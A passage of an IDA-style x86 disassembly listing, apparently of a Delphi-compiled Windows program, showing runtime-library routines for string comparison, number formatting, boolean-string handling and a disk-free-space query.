lea esi, [ecx+eax]
add edx, ecx
neg ecx
jz short loc_40007B87
loc_40007B24: ; CODE XREF: sub_40007AF4+91j
movzx eax, word ptr [ecx+esi]
movzx ebx, word ptr [ecx+edx]
cmp eax, ebx
jz short loc_40007B82
cmp al, bl
jz short loc_40007B60
mov ah, 0
mov bh, 0
cmp al, 61h
jl short loc_40007B43
cmp al, 7Ah
jg short loc_40007B43
sub eax, 20h
loc_40007B43: ; CODE XREF: sub_40007AF4+46j
; sub_40007AF4+4Aj
cmp bl, 61h
jl short loc_40007B50
cmp bl, 7Ah
jg short loc_40007B50
sub ebx, 20h
loc_40007B50: ; CODE XREF: sub_40007AF4+52j
; sub_40007AF4+57j
sub eax, ebx
jnz short loc_40007B89
movzx eax, word ptr [ecx+esi]
movzx ebx, word ptr [ecx+edx]
cmp ah, bh
jz short loc_40007B82
loc_40007B60: ; CODE XREF: sub_40007AF4+3Ej
shr eax, 8
shr ebx, 8
cmp al, 61h
jl short loc_40007B71
cmp al, 7Ah
jg short loc_40007B71
sub eax, 20h
loc_40007B71: ; CODE XREF: sub_40007AF4+74j
; sub_40007AF4+78j
cmp bl, 61h
jl short loc_40007B7E
cmp bl, 7Ah
jg short loc_40007B7E
sub ebx, 20h
loc_40007B7E: ; CODE XREF: sub_40007AF4+80j
; sub_40007AF4+85j
sub eax, ebx
jnz short loc_40007B89
loc_40007B82: ; CODE XREF: sub_40007AF4+3Aj
; sub_40007AF4+6Aj
add ecx, 2
jl short loc_40007B24
loc_40007B87: ; CODE XREF: sub_40007AF4+2Ej
mov eax, ebp
loc_40007B89: ; CODE XREF: sub_40007AF4+5Ej
; sub_40007AF4+8Cj
pop esi
pop ebp
pop ebx
retn
sub_40007AF4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40007B90 proc near ; CODE XREF: sub_40013618+1Bp
; sub_40013CE4+64p
cmp eax, edx
jz short loc_40007BAD
or eax, eax
jz short locret_40007BAF
or edx, edx
jz short loc_40007BB0
mov ecx, [eax-4]
cmp ecx, [edx-4]
jnz short loc_40007BB0
call sub_40007AF4
test eax, eax
jnz short loc_40007BB0
loc_40007BAD: ; CODE XREF: sub_40007B90+2j
mov al, 1
locret_40007BAF: ; CODE XREF: sub_40007B90+6j
retn
; ---------------------------------------------------------------------------
loc_40007BB0: ; CODE XREF: sub_40007B90+Aj
; sub_40007B90+12j ...
xor eax, eax
retn
sub_40007B90 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007BB4 proc near ; CODE XREF: sub_4000A1CC+2B6p
; sub_4000A1CC+2E0p
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
mov ebx, edi
test ebx, ebx
jz short loc_40007BC7
sub ebx, 4
mov ebx, [ebx]
loc_40007BC7: ; CODE XREF: sub_40007BB4+Cj
mov esi, ebp
test esi, esi
jz short loc_40007BD2
sub esi, 4
mov esi, [esi]
loc_40007BD2: ; CODE XREF: sub_40007BB4+17j
push esi
mov eax, ebp
call sub_40004D48
push eax
push ebx
mov eax, edi
call sub_40004D48
push eax
push 1
push 400h
call sub_400064F8 ; CompareStringA
sub eax, 2
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40007BB4 endp
; =============== S U B R O U T I N E =======================================
sub_40007BF8 proc near ; CODE XREF: sub_4000A1CC+80p
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
mov eax, edi
test eax, eax
jz short loc_40007C0B
sub eax, 4
mov eax, [eax]
loc_40007C0B: ; CODE XREF: sub_40007BF8+Cj
mov esi, eax
mov ebx, 1
jmp short loc_40007C15
; ---------------------------------------------------------------------------
loc_40007C14: ; CODE XREF: sub_40007BF8+26j
inc ebx
loc_40007C15: ; CODE XREF: sub_40007BF8+1Aj
cmp esi, ebx
jl short loc_40007C20
cmp byte ptr [edi+ebx-1], 20h
jbe short loc_40007C14
loc_40007C20: ; CODE XREF: sub_40007BF8+1Fj
cmp esi, ebx
jge short loc_40007C2E
mov eax, ebp
call sub_40004884
jmp short loc_40007C44
; ---------------------------------------------------------------------------
loc_40007C2D: ; CODE XREF: sub_40007BF8+3Bj
dec esi
loc_40007C2E: ; CODE XREF: sub_40007BF8+2Aj
cmp byte ptr [edi+esi-1], 20h
jbe short loc_40007C2D
push ebp
mov ecx, esi
sub ecx, ebx
inc ecx
mov edx, ebx
mov eax, edi
call sub_40004DA8
loc_40007C44: ; CODE XREF: sub_40007BF8+33j
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40007BF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007C4C proc near ; CODE XREF: sub_40007C98+Bp
; sub_40007DAC+13p ...
or cl, cl
jnz short loc_40007C67
or eax, eax
jns short sub_40007C62
neg eax
call sub_40007C62
mov al, 2Dh
inc ecx
dec esi
mov [esi], al
retn
sub_40007C4C endp
; =============== S U B R O U T I N E =======================================
sub_40007C62 proc near ; CODE XREF: sub_40007C4C+6j
; sub_40007C4C+Ap
mov ecx, 0Ah
loc_40007C67: ; CODE XREF: sub_40007C4C+2j
push edx
push esi
loc_40007C69: ; CODE XREF: sub_40007C62+1Bj
xor edx, edx
div ecx
dec esi
add dl, 30h
cmp dl, 3Ah
jb short loc_40007C79
add dl, 7
loc_40007C79: ; CODE XREF: sub_40007C62+12j
mov [esi], dl
or eax, eax
jnz short loc_40007C69
pop ecx
pop edx
sub ecx, esi
sub edx, ecx
jbe short locret_40007C97
add ecx, edx
mov al, 30h
sub esi, edx
jmp short loc_40007C92
; ---------------------------------------------------------------------------
loc_40007C8F: ; CODE XREF: sub_40007C62+31j
mov [edx+esi], al
loc_40007C92: ; CODE XREF: sub_40007C62+2Bj
dec edx
jnz short loc_40007C8F
mov [esi], al
locret_40007C97: ; CODE XREF: sub_40007C62+23j
retn
sub_40007C62 endp
; =============== S U B R O U T I N E =======================================
sub_40007C98 proc near ; CODE XREF: sub_400116DC+C9p
; sub_400116DC+E3p ...
push esi
mov esi, esp
sub esp, 10h
xor ecx, ecx
push edx
xor edx, edx
call sub_40007C4C
mov edx, esi
pop eax
call sub_40004974
add esp, 10h
pop esi
retn
sub_40007C98 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007CB8 proc near ; CODE XREF: sub_40007D84+11p
; sub_4000843E+94j ...
var_8 = dword ptr -8
var_4 = dword ptr -4
or cl, cl
jnz short sub_40007CEC
mov ecx, 0Ah
test dword ptr [eax+4], 80000000h
jz short sub_40007CEC
push dword ptr [eax+4]
push dword ptr [eax]
mov eax, esp
neg [esp+8+var_8]
adc [esp+8+var_4], 0
neg [esp+8+var_4]
call sub_40007CEC
mov byte ptr [esi-1], 2Dh
dec esi
inc ecx
add esp, 8
retn
sub_40007CB8 endp
; =============== S U B R O U T I N E =======================================
sub_40007CEC proc near ; CODE XREF: sub_40007CB8+2j
; sub_40007CB8+10j ...
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = word ptr -6
push esi
sub esp, 4
fnstcw [esp+8+var_6]
fnstcw [esp+8+var_8]
or [esp+8+var_8], 0F00h
fldcw [esp+8+var_8]
mov [esp+8+var_8], cx
fld1
test dword ptr [eax+4], 80000000h
jz short loc_40007D36
push dword ptr [eax+4]
push dword ptr [eax]
and [esp+10h+var_C], 7FFFFFFFh
push 7FFFFFFFh
push 0FFFFFFFFh
fild qword ptr [esp+8]
fild [esp+18h+var_18]
fadd st, st(2)
faddp st(1), st
add esp, 10h
jmp short loc_40007D38
; ---------------------------------------------------------------------------
loc_40007D36: ; CODE XREF: sub_40007CEC+21j
fild qword ptr [eax]
loc_40007D38: ; CODE XREF: sub_40007CEC+48j
fild [esp+8+var_8]
fld st(1)
loc_40007D3D: ; CODE XREF: sub_40007CEC+6Ej
dec esi
fprem
fistp [esp+8+var_8]
fdiv st(1), st
mov al, byte ptr [esp+8+var_8]
add al, 30h
cmp al, 3Ah
jb short loc_40007D50
add al, 7
loc_40007D50: ; CODE XREF: sub_40007CEC+60j
mov [esi], al
fld st(1)
fcom st(3)
fstsw ax
sahf
jnb short loc_40007D3D
fldcw [esp+8+var_6]
add esp, 4
ffree st(3)
ffree st(2)
ffree st(1)
ffree st
pop ecx
sub ecx, esi
sub edx, ecx
jbe short locret_40007D82
sub esi, edx
mov al, 30h
add ecx, edx
jmp short loc_40007D7D
; ---------------------------------------------------------------------------
loc_40007D7A: ; CODE XREF: sub_40007CEC+92j
mov [edx+esi], al
loc_40007D7D: ; CODE XREF: sub_40007CEC+8Cj
dec edx
jnz short loc_40007D7A
mov [esi], al
locret_40007D82: ; CODE XREF: sub_40007CEC+84j
retn
sub_40007CEC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40007D84 proc near ; CODE XREF: sub_400116DC+20Ep
; sub_400116DC+22Bp ...
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push esi
mov esi, esp
sub esp, 20h
xor ecx, ecx
push eax
xor edx, edx
lea eax, [ebp+arg_0]
call sub_40007CB8
mov edx, esi
pop eax
call sub_40004974
add esp, 20h
pop esi
pop ebp
retn 8
sub_40007D84 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007DAC proc near ; CODE XREF: sub_4001293C+CDp
cmp edx, 20h
jbe short loc_40007DB3
xor edx, edx
loc_40007DB3: ; CODE XREF: sub_40007DAC+3j
push esi
mov esi, esp
sub esp, 20h
push ecx
mov ecx, 10h
call sub_40007C4C
mov edx, esi
pop eax
call sub_40004974
add esp, 20h
pop esi
retn
sub_40007DAC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007DD4 proc near ; CODE XREF: sub_4000AA7C+3Ep
; sub_4000AAF4+34p ...
var_8 = dword ptr -8
push ebx
push ecx
mov ebx, edx
mov edx, esp
call sub_4000379C
cmp [esp+8+var_8], 0
jz short loc_40007DE7
mov eax, ebx
loc_40007DE7: ; CODE XREF: sub_40007DD4+Fj
pop edx
pop ebx
retn
sub_40007DD4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007DEC proc near ; CODE XREF: sub_4000CE4C+35p
; sub_4000EBF8+61p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov edx, esp
mov eax, ebx
call sub_4000379C
mov [esi], eax
cmp [esp+0Ch+var_C], 0
setz al
pop edx
pop esi
pop ebx
retn
sub_40007DEC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007E0C proc near ; CODE XREF: sub_4000F6A8+3Ap
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov edx, esp
mov eax, ebx
call sub_40005754
mov [esi], eax
mov [esi+4], edx
cmp [esp+0Ch+var_C], 0
setz al
pop edx
pop esi
pop ebx
retn
sub_40007E0C endp
; =============== S U B R O U T I N E =======================================
sub_40007E2C proc near ; CODE XREF: sub_40007F40:loc_40007F6Fp
; sub_40007FDC+Ap
mov eax, ds:dword_4001E910
call sub_4000596C
test eax, eax
jnz short loc_40007E63
push 1
mov eax, offset dword_4001E910
mov ecx, 1
mov edx, ds:off_400077D8
call sub_40005B28
add esp, 4
mov eax, ds:dword_4001E910
mov edx, offset aTrue ; "True"
call sub_400048D8
loc_40007E63: ; CODE XREF: sub_40007E2C+Cj
mov eax, ds:dword_4001E914
call sub_4000596C
test eax, eax
jnz short locret_40007E9A
push 1
mov eax, offset dword_4001E914
mov ecx, 1
mov edx, ds:off_400077FC
call sub_40005B28
add esp, 4
mov eax, ds:dword_4001E914
mov edx, offset aFalse ; "False"
call sub_400048D8
locret_40007E9A: ; CODE XREF: sub_40007E2C+43j
retn
sub_40007E2C endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 4
aTrue db 'True',0 ; DATA XREF: sub_40007E2C+2Do
align 4
dd 0FFFFFFFFh, 5
aFalse db 'False',0 ; DATA XREF: sub_40007E2C+64o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40007EBC proc near ; CODE XREF: sub_40007F40+46p
; sub_40007F40+69p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_1], 0
test edx, edx
jl short loc_40007F33
inc edx
mov [ebp+var_C], edx
mov ebx, eax
loc_40007ED3: ; CODE XREF: sub_40007EBC+75j
mov eax, [ebp+arg_0]
mov eax, [eax-4]
mov [ebp+var_10], eax
mov eax, [ebx]
mov [ebp+var_14], eax
mov esi, [ebp+var_10]
test esi, esi
jz short loc_40007EED
sub esi, 4
mov esi, [esi]
loc_40007EED: ; CODE XREF: sub_40007EBC+2Aj
mov edi, [ebp+var_14]
test edi, edi
jz short loc_40007EF9
sub edi, 4
mov edi, [edi]
loc_40007EF9: ; CODE XREF: sub_40007EBC+36j
push edi
mov eax, [ebp+var_14]
call sub_40004D48
push eax
push esi
mov eax, [ebp+var_10]
call sub_40004D48
push eax
push 1
push 400h
call sub_400064F8 ; CompareStringA
sub eax, 2
test eax, eax
setz al
test al, al
jz short loc_40007F2B
mov [ebp+var_1], 1
jmp short loc_40007F33
; ---------------------------------------------------------------------------
loc_40007F2B: ; CODE XREF: sub_40007EBC+67j
add ebx, 4
dec [ebp+var_C]
jnz short loc_40007ED3
loc_40007F33: ; CODE XREF: sub_40007EBC+Fj
; sub_40007EBC+6Dj
movzx eax, [ebp+var_1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40007EBC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40007F40 proc near ; CODE XREF: sub_4000D068+3Bp
; sub_4000FCA4+6Cp
var_10 = tbyte ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
mov ebx, edx
mov [ebp+var_4], eax
lea edx, [ebp+var_10]
mov eax, [ebp+var_4]
call sub_40008E74
mov edx, eax
test dl, dl
jz short loc_40007F6F
fld [ebp+var_10]
fcomp ds:flt_40007FC0
fstsw ax
sahf
setnz byte ptr [ebx]
jmp short loc_40007FB8
; ---------------------------------------------------------------------------
loc_40007F6F: ; CODE XREF: sub_40007F40+1Bj
call sub_40007E2C
push ebp
mov eax, ds:dword_4001E910
call sub_40005974
mov edx, eax
mov eax, ds:dword_4001E910
call sub_40007EBC
pop ecx
mov edx, eax
test dl, dl
jz short loc_40007F97
mov byte ptr [ebx], 1
jmp short loc_40007FB8
; ---------------------------------------------------------------------------
loc_40007F97: ; CODE XREF: sub_40007F40+50j
push ebp
mov eax, ds:dword_4001E914
call sub_40005974
mov edx, eax
mov eax, ds:dword_4001E914
call sub_40007EBC
pop ecx
mov edx, eax
test dl, dl
jz short loc_40007FB8
mov byte ptr [ebx], 0
loc_40007FB8: ; CODE XREF: sub_40007F40+2Dj
; sub_40007F40+55j ...
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40007F40 endp
; ---------------------------------------------------------------------------
align 10h
flt_40007FC0 dd 0.0 ; DATA XREF: sub_40007F40+20r
dd 0FFFFFFFFh, 1
dword_40007FCC dd 30h, 0FFFFFFFFh, 2, 312Dh ; .data:4001A858o
; =============== S U B R O U T I N E =======================================
sub_40007FDC proc near ; CODE XREF: sub_4000D1CC+3Cp
push ebx
push esi
mov esi, ecx
mov ebx, eax
test dl, dl
jz short loc_40008012
call sub_40007E2C
test bl, bl
jz short loc_40008000
mov eax, esi
mov edx, ds:dword_4001E910
mov edx, [edx]
call sub_400048D8
jmp short loc_40008023
; ---------------------------------------------------------------------------
loc_40008000: ; CODE XREF: sub_40007FDC+11j
mov eax, esi
mov edx, ds:dword_4001E914
mov edx, [edx]
call sub_400048D8
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40008012: ; CODE XREF: sub_40007FDC+8j
mov eax, esi
movzx edx, bl
mov edx, off_4001A854[edx*4]
call sub_400048D8
loc_40008023: ; CODE XREF: sub_40007FDC+22j
pop esi
pop ebx
retn
sub_40007FDC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008028 proc near ; CODE XREF: sub_40015E94+11p
; sub_40015E94+2Ep
push ebx
push esi
mov esi, eax
mov eax, esi
test eax, eax
jz short loc_40008037
sub eax, 4
mov eax, [eax]
loc_40008037: ; CODE XREF: sub_40008028+8j
mov ebx, eax
test ebx, ebx
jz short loc_40008054
jmp short loc_40008040
; ---------------------------------------------------------------------------
loc_4000803F: ; CODE XREF: sub_40008028+23j
dec ebx
loc_40008040: ; CODE XREF: sub_40008028+15j
mov edx, ebx
mov eax, esi
call sub_4000B914
cmp al, 2
jz short loc_4000803F
lea eax, [esi+ebx-1]
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40008054: ; CODE XREF: sub_40008028+13j
xor eax, eax
pop esi
pop ebx
retn
sub_40008028 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000805C proc near ; CODE XREF: sub_400080B0+Ep
push ebx
push esi
push edi
push ebp
mov esi, edx
mov ebx, eax
mov eax, esi
test eax, eax
jz short loc_4000806F
sub eax, 4
mov eax, [eax]
loc_4000806F: ; CODE XREF: sub_4000805C+Cj
mov edi, eax
mov eax, ebx
call sub_40004D48
mov ebp, eax
test edi, edi
jle short loc_400080A7
loc_4000807E: ; CODE XREF: sub_4000805C+49j
movzx ebx, byte ptr [esi+edi-1]
test bl, bl
jz short loc_400080A2
mov edx, ebx
mov eax, ebp
call sub_40008224
test eax, eax
jz short loc_400080A2
mov edx, edi
mov eax, esi
call sub_4000B914
cmp al, 2
jnz short loc_400080A7
dec edi
loc_400080A2: ; CODE XREF: sub_4000805C+29j
; sub_4000805C+36j
dec edi
test edi, edi
jg short loc_4000807E
loc_400080A7: ; CODE XREF: sub_4000805C+20j
; sub_4000805C+43j
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000805C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400080B0 proc near ; CODE XREF: sub_4000B488+CCp
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
mov edx, ebx
mov eax, offset dword_400080E4
call sub_4000805C
mov esi, eax
push edi
lea edx, [esi+1]
mov ecx, 7FFFFFFFh
mov eax, ebx
call sub_40004DA8
pop edi
pop esi
pop ebx
retn
sub_400080B0 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_400080E4 dd 3A5Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400080E8 proc near ; DATA XREF: sub_4000C4D8+2Ao
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_400080F8
xor eax, eax
loc_400080F8: ; CODE XREF: sub_400080E8+Cj
lea edx, [ebp+var_10]
push edx
lea edx, [ebp+var_C]
push edx
lea edx, [ebp+var_8]
push edx
lea edx, [ebp+var_4]
push edx
push eax
call sub_40006570 ; GetDiskFreeSpaceA
mov ebx, eax
mov eax, [ebp+var_4]
imul [ebp+var_8]
xor edx, edx
mov [ebp+var_18], eax
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
xor edx, edx
push edx
push eax
mov eax, [ebp+var_18]
mov edx, [ebp+var_14]
call sub_4000569C
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ecx+4], edx
mov eax, [ebp+var_10]
xor edx, edx
push edx
push eax
mov eax, [ebp+var_18]
mov edx, [ebp+var_14]
call sub_4000569C
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov [ecx+4], edx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_400080E8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000815C proc near ; CODE XREF: sub_4000868C+16p
; sub_4000ADE0+BDp ...
mov edx, edi
mov edi, eax
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
mov eax, 0FFFFFFFEh
sub eax, ecx
mov edi, edx
retn
sub_4000815C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008174 proc near ; CODE XREF: sub_4000828C+2Bp
push esi
mov esi, eax
xchg eax, edx
call sub_40002DFC
mov eax, esi
pop esi
retn
sub_40008174 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008184 proc near ; CODE XREF: sub_400081B8+1Fp
; sub_4000ADE0+91p
push edi
push esi
push ebx
mov esi, eax
mov edi, edx
mov ebx, ecx
xor al, al
test ecx, ecx
jz short loc_40008198
repne scasb
jnz short loc_40008198
inc ecx
loc_40008198: ; CODE XREF: sub_40008184+Dj
; sub_40008184+11j
sub ebx, ecx
mov edi, esi
mov esi, edx
mov edx, edi
mov ecx, ebx
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
stosb
mov eax, edx
pop ebx
pop esi
pop edi
retn
sub_40008184 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400081B8 proc near ; CODE XREF: sub_40014F8C+14Ep
; sub_40014F8C+169p
push ebx
push esi
push edi
mov esi, edx
mov edi, eax
mov ebx, esi
test ebx, ebx
jz short loc_400081CA
sub ebx, 4
mov ebx, [ebx]
loc_400081CA: ; CODE XREF: sub_400081B8+Bj
mov eax, esi
call sub_40004D48
mov edx, eax
mov ecx, ebx
mov eax, edi
call sub_40008184
pop edi
pop esi
pop ebx
retn
sub_400081B8 endp
; =============== S U B R O U T I N E =======================================
sub_400081E0 proc near ; CODE XREF: sub_400096A8+388p
; sub_400096A8+39Dp ...
push edi
push esi
push ebx
mov edi, edx
mov esi, eax
mov ebx, ecx
xor eax, eax
or ecx, ecx
jz short loc_4000821E
repne scasb
sub ebx, ecx
mov ecx, ebx
mov edi, edx
xor edx, edx
loc_400081F9: ; CODE XREF: sub_400081E0+3Cj
repe cmpsb
jz short loc_4000821E
mov al, [esi-1]
cmp al, 61h
jb short loc_4000820A
cmp al, 7Ah
ja short loc_4000820A
sub al, 20h
loc_4000820A: ; CODE XREF: sub_400081E0+22j
; sub_400081E0+26j
mov dl, [edi-1]
cmp dl, 61h
jb short loc_4000821A
cmp dl, 7Ah
ja short loc_4000821A
sub dl, 20h
loc_4000821A: ; CODE XREF: sub_400081E0+30j
; sub_400081E0+35j
sub eax, edx
jz short loc_400081F9
loc_4000821E: ; CODE XREF: sub_400081E0+Dj
; sub_400081E0+1Bj
pop ebx
pop esi
pop edi
retn
sub_400081E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008224 proc near ; CODE XREF: sub_4000805C+2Fp
; sub_4000BD04+Bp ...
jmp short loc_4000822E
; ---------------------------------------------------------------------------
loc_40008226: ; CODE XREF: sub_40008224+Fj
test cl, cl
jnz short loc_4000822D
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4000822D: ; CODE XREF: sub_40008224+4j
inc eax
loc_4000822E: ; CODE XREF: sub_40008224j
movzx ecx, byte ptr [eax]
cmp dl, cl
jnz short loc_40008226
retn
sub_40008224 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008238 proc near ; CODE XREF: sub_4000BC30+3Bp
; sub_4000BC30+7Cp
push edi
push esi
push ebx
or eax, eax
jz short loc_40008283
or edx, edx
jz short loc_40008283
mov ebx, eax
mov edi, edx
xor al, al
mov ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
jz short loc_40008283
mov esi, ecx
mov edi, ebx
mov ecx, 0FFFFFFFFh
repne scasb
not ecx
sub ecx, esi
jbe short loc_40008283
mov edi, ebx
lea ebx, [esi-1]
loc_4000826B: ; CODE XREF: sub_40008238+44j
mov esi, edx
lodsb
repne scasb
jnz short loc_40008283
mov eax, ecx
push edi
mov ecx, ebx
repe cmpsb
pop edi
mov ecx, eax
jnz short loc_4000826B
lea eax, [edi-1]
jmp short loc_40008285
; ---------------------------------------------------------------------------
loc_40008283: ; CODE XREF: sub_40008238+5j
; sub_40008238+9j ...
xor eax, eax
loc_40008285: ; CODE XREF: sub_40008238+49j
pop ebx
pop esi
pop edi
retn
sub_40008238 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000828C proc near ; CODE XREF: sub_4000843E+7Dp
var_34 = byte ptr -34h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFD8h
mov ebx, ecx
mov esi, edx
mov edi, eax
cmp ebx, 1Fh
jbe short loc_400082A2
mov ebx, 1Fh
loc_400082A2: ; CODE XREF: sub_4000828C+Fj
mov edx, ebx
dec edx
mov eax, esi
call sub_4000B938
cmp al, 1
jnz short loc_400082B1
dec ebx
loc_400082B1: ; CODE XREF: sub_4000828C+22j
mov eax, esp
mov ecx, ebx
mov edx, esi
call sub_40008174
mov [esp+ebx+34h+var_34], 0
mov eax, esp
mov [esp+34h+var_14], eax
mov [esp+34h+var_10], 6
lea edx, [esp+34h+var_14]
mov eax, off_4001A85C[edi*4]
xor ecx, ecx
call sub_40007998
add esp, 28h
pop edi
pop esi
pop ebx
retn
sub_4000828C endp
; =============== S U B R O U T I N E =======================================
sub_400082E4 proc near ; CODE XREF: sub_4000843E+114p
push ebx
mov ecx, off_4001B0B4
cmp dword ptr [ecx], 0
jz short loc_400082FC
mov ebx, off_4001B0B4
mov ebx, [ebx]
call ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_400082FC: ; CODE XREF: sub_400082E4+Aj
mov al, 10h
call sub_40002D50
sub_400082E4 endp
; ---------------------------------------------------------------------------
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008308 proc near ; CODE XREF: sub_40008314+D3p
push ebx
mov ebx, eax
mov eax, ebx
call sub_40004884
pop ebx
retn
sub_40008308 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008314 proc near ; CODE XREF: sub_4000868C+2Ap
; sub_400086E0+54p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 4000867B SIZE 0000000F BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFF94h
push ebx
xor ebx, ebx
mov [ebp+var_14], ebx
push ebx
push esi
push edi
mov edi, eax
mov esi, ecx
xor eax, eax
mov [ebp+var_4], eax
add ecx, [ebp+arg_8]
mov [ebp+var_8], edi
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_10], eax
mov [ebp+var_14], eax
loc_4000833D: ; CODE XREF: sub_40008314+DDj
or edx, edx
jz short loc_4000834E
loc_40008341: ; CODE XREF: sub_40008314+38j
cmp esi, ecx
jz short loc_4000834E
lodsb
cmp al, 25h
jz short loc_40008358
loc_4000834A: ; CODE XREF: sub_40008314+4Bj
stosb
dec edx
jnz short loc_40008341
loc_4000834E: ; CODE XREF: sub_40008314+2Bj
; sub_40008314+2Fj ...
mov eax, edi
sub eax, [ebp+var_8]
jmp loc_4000867B
; ---------------------------------------------------------------------------
loc_40008358: ; CODE XREF: sub_40008314+34j
cmp esi, ecx
jz short loc_4000834E
lodsb
cmp al, 25h
jz short loc_4000834A
lea ebx, [esi-2]
mov [ebp+var_18], ebx
loc_40008367: ; CODE XREF: sub_40008314+70j
mov [ebp+var_19], al
cmp al, 2Dh
jnz short loc_40008373
cmp esi, ecx
jz short loc_4000834E
lodsb
loc_40008373: ; CODE XREF: sub_40008314+58j
call sub_400083F6
cmp al, 3Ah
jnz short loc_40008386
mov [ebp+var_C], ebx
cmp esi, ecx
jz short loc_4000834E
lodsb
jmp short loc_40008367
; ---------------------------------------------------------------------------
loc_40008386: ; CODE XREF: sub_40008314+66j
mov [ebp+var_20], ebx
mov ebx, 0FFFFFFFFh
cmp al, 2Eh
jnz short loc_4000839C
cmp esi, ecx
jz short loc_4000834E
lodsb
call sub_400083F6
loc_4000839C: ; CODE XREF: sub_40008314+7Cj
mov [ebp+var_24], ebx
mov [ebp+var_28], esi
push ecx
push edx
call sub_4000843E
pop edx
mov ebx, [ebp+var_20]
sub ebx, ecx
jnb short loc_400083B3
xor ebx, ebx
loc_400083B3: ; CODE XREF: sub_40008314+9Bj
cmp [ebp+var_19], 2Dh
jnz short loc_400083C3
sub edx, ecx
jnb short loc_400083C1
add ecx, edx
xor edx, edx
loc_400083C1: ; CODE XREF: sub_40008314+A7j
rep movsb
loc_400083C3: ; CODE XREF: sub_40008314+A3j
xchg ebx, ecx
sub edx, ecx
jnb short loc_400083CD
add ecx, edx
xor edx, edx
loc_400083CD: ; CODE XREF: sub_40008314+B3j
mov al, 20h
rep stosb
xchg ebx, ecx
sub edx, ecx
jnb short loc_400083DB
add ecx, edx
xor edx, edx
loc_400083DB: ; CODE XREF: sub_40008314+C1j
rep movsb
